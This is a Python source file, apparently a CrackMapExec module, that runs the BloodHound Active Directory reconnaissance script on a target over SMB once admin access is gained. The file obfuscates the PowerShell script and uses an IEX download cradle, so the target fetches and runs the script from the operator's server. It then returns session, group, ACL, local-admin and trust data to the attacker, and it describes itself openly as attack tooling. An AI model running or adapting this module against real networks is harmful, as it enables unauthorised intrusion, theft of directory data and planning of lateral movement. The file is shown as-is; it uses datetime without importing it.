116 lines
6.3 KiB
Python
116 lines
6.3 KiB
Python
from cme.helpers.powershell import *
|
|
from cme.helpers.misc import validate_ntlm
|
|
from cme.helpers.logger import write_log
|
|
from sys import exit
|
|
|
|
class CMEModule:
|
|
'''
|
|
Executes the BloodHound recon script on the target and retreives the results onto the attackers' machine
|
|
2 supported modes :
|
|
CSV : exports data into CSVs on the target file system before retrieving them (NOT opsec safe)
|
|
Neo4j API : exports data directly to the Neo4j API (opsec safe)
|
|
|
|
Module by Waffle-Wrath
|
|
Bloodhound.ps1 script base : https://github.com/BloodHoundAD/BloodHound
|
|
'''
|
|
|
|
name = 'bloodhound'
|
|
description = 'Executes the BloodHound recon script on the target and retreives the results to the attackers\' machine'
|
|
supported_protocols = ['smb']
|
|
opsec_safe= False
|
|
multiple_hosts = False
|
|
|
|
def options(self, context, module_options):
|
|
'''
|
|
THREADS Max numbers of threads to execute on target (defaults to 20)
|
|
COLLECTIONMETHOD Method used by BloodHound ingestor to collect data (defaults to 'Default')
|
|
CSVPATH (optional) Path where csv files will be written on target (defaults to C:\)
|
|
NEO4JURI (optional) URI for direct Neo4j ingestion (defaults to blank)
|
|
NEO4JUSER (optional) Username for direct Neo4j ingestion
|
|
NEO4JPASS (optional) Pass for direct Neo4j ingestion
|
|
|
|
Give NEO4J options to perform direct Neo4j ingestion (no CSVs on target)
|
|
'''
|
|
|
|
self.threads = 3
|
|
self.csv_path = 'C:\\'
|
|
self.collection_method = 'Default'
|
|
self.neo4j_URI = ""
|
|
self.neo4j_user = ""
|
|
self.neo4j_pass = ""
|
|
|
|
if module_options and 'THREADS' in module_options:
|
|
self.threads = module_options['THREADS']
|
|
if module_options and 'CSVPATH' in module_options:
|
|
self.csv_path = module_options['CSVPATH']
|
|
if module_options and 'COLLECTIONMETHOD' in module_options:
|
|
self.collection_method = module_options['COLLECTIONMETHOD']
|
|
if module_options and 'NEO4JURI' in module_options:
|
|
self.neo4j_URI = module_options['NEO4JURI']
|
|
if module_options and 'NEO4JUSER' in module_options:
|
|
self.neo4j_user = module_options['NEO4JUSER']
|
|
if module_options and 'NEO4JPASS' in module_options:
|
|
self.neo4j_pass = module_options['NEO4JPASS']
|
|
|
|
if self.neo4j_URI != "" and self.neo4j_user != "" and self.neo4j_pass != "" :
|
|
self.opsec_safe= True
|
|
|
|
self.ps_script = obfs_ps_script('BloodHound-modified.ps1')
|
|
|
|
def on_admin_login(self, context, connection):
|
|
if self.neo4j_URI == "" and self.neo4j_user == "" and self.neo4j_pass == "" :
|
|
command = "Invoke-BloodHound -CSVFolder '{}' -Throttle '{}' -CollectionMethod '{}'".format(self.csv_path, self.threads, self.collection_method)
|
|
else :
|
|
command = 'Invoke-BloodHound -URI {} -UserPass "{}:{}" -Throttle {} -CollectionMethod {}'.format(self.neo4j_URI, self.neo4j_user, self.neo4j_pass, self.threads, self.collection_method)
|
|
launcher = gen_ps_iex_cradle(context, 'BloodHound-modified.ps1', command)
|
|
connection.ps_execute(launcher)
|
|
context.log.success('Executed launcher')
|
|
|
|
def on_request(self, context, request):
|
|
if 'BloodHound-modified.ps1' == request.path[1:]:
|
|
request.send_response(200)
|
|
request.end_headers()
|
|
request.wfile.write(self.ps_script.encode())
|
|
context.log.success('Executing payload... this can take a few minutes...')
|
|
else:
|
|
request.send_response(404)
|
|
request.end_headers()
|
|
|
|
def on_response(self, context, response):
|
|
response.send_response(200)
|
|
response.end_headers()
|
|
length = int(response.headers.get('content-length'))
|
|
data = response.rfile.read(length).decode()
|
|
response.stop_tracking_host()
|
|
if self.neo4j_URI == "" and self.neo4j_user == "" and self.neo4j_pass == "" :
|
|
self.parse_ouput(data, context, response)
|
|
context.log.success("Successfully retreived data")
|
|
|
|
def parse_ouput(self, data, context, response):
|
|
'''
|
|
Parse the output from Invoke-BloodHound
|
|
'''
|
|
|
|
parsedData = data.split("!-!")
|
|
nameList = ['user_sessions', 'group_membership.csv', 'acls.csv', 'local_admins.csv', 'trusts.csv']
|
|
for x in range(0, len(parsedData)):
|
|
if "ComputerName" in parsedData[x] and "UserName" in parsedData[x] :
|
|
log_name = '{}-{}-{}.csv'.format(nameList[0], response.client_address[0], datetime.now().strftime("%Y-%m-%d_%H%M%S"))
|
|
write_log(parsedData[x].replace('" "', '"\n"').replace(' "', '"'), log_name)
|
|
context.log.info("Saved csv output to {}".format(log_name))
|
|
elif "GroupName" in parsedData[x] and "AccountName" in parsedData[x] :
|
|
log_name = '{}-{}-{}.csv'.format(nameList[1], response.client_address[0], datetime.now().strftime("%Y-%m-%d_%H%M%S"))
|
|
write_log(parsedData[x].replace('" "', '"\n"').replace(' "', '"'), log_name)
|
|
context.log.info("Saved csv output to {}".format(log_name))
|
|
elif "ComputerName" in parsedData[x] and "AccountName" in parsedData[x] :
|
|
log_name = '{}-{}-{}.csv'.format(nameList[3], response.client_address[0], datetime.now().strftime("%Y-%m-%d_%H%M%S"))
|
|
write_log(parsedData[x].replace('" "', '"\n"').replace(' "', '"'), log_name)
|
|
context.log.info("Saved csv output to {}".format(log_name))
|
|
elif "SourceDomain" in parsedData[x] and "TrustType" in parsedData[x] :
|
|
log_name = '{}-{}-{}.csv'.format(nameList[4], response.client_address[0], datetime.now().strftime("%Y-%m-%d_%H%M%S"))
|
|
write_log(parsedData[x].replace('" "', '"\n"').replace(' "', '"'), log_name)
|
|
context.log.info("Saved csv output to {}".format(log_name))
|
|
elif "ObjectName" in parsedData[x] and "ObjectType" in parsedData[x] :
|
|
log_name = '{}-{}-{}.csv'.format(nameList[2], response.client_address[0], datetime.now().strftime("%Y-%m-%d_%H%M%S"))
|
|
write_log(parsedData[x].replace('" "', '"\n"').replace(' "', '"'), log_name)
|
|
context.log.info("Saved csv output to {}".format(log_name)) |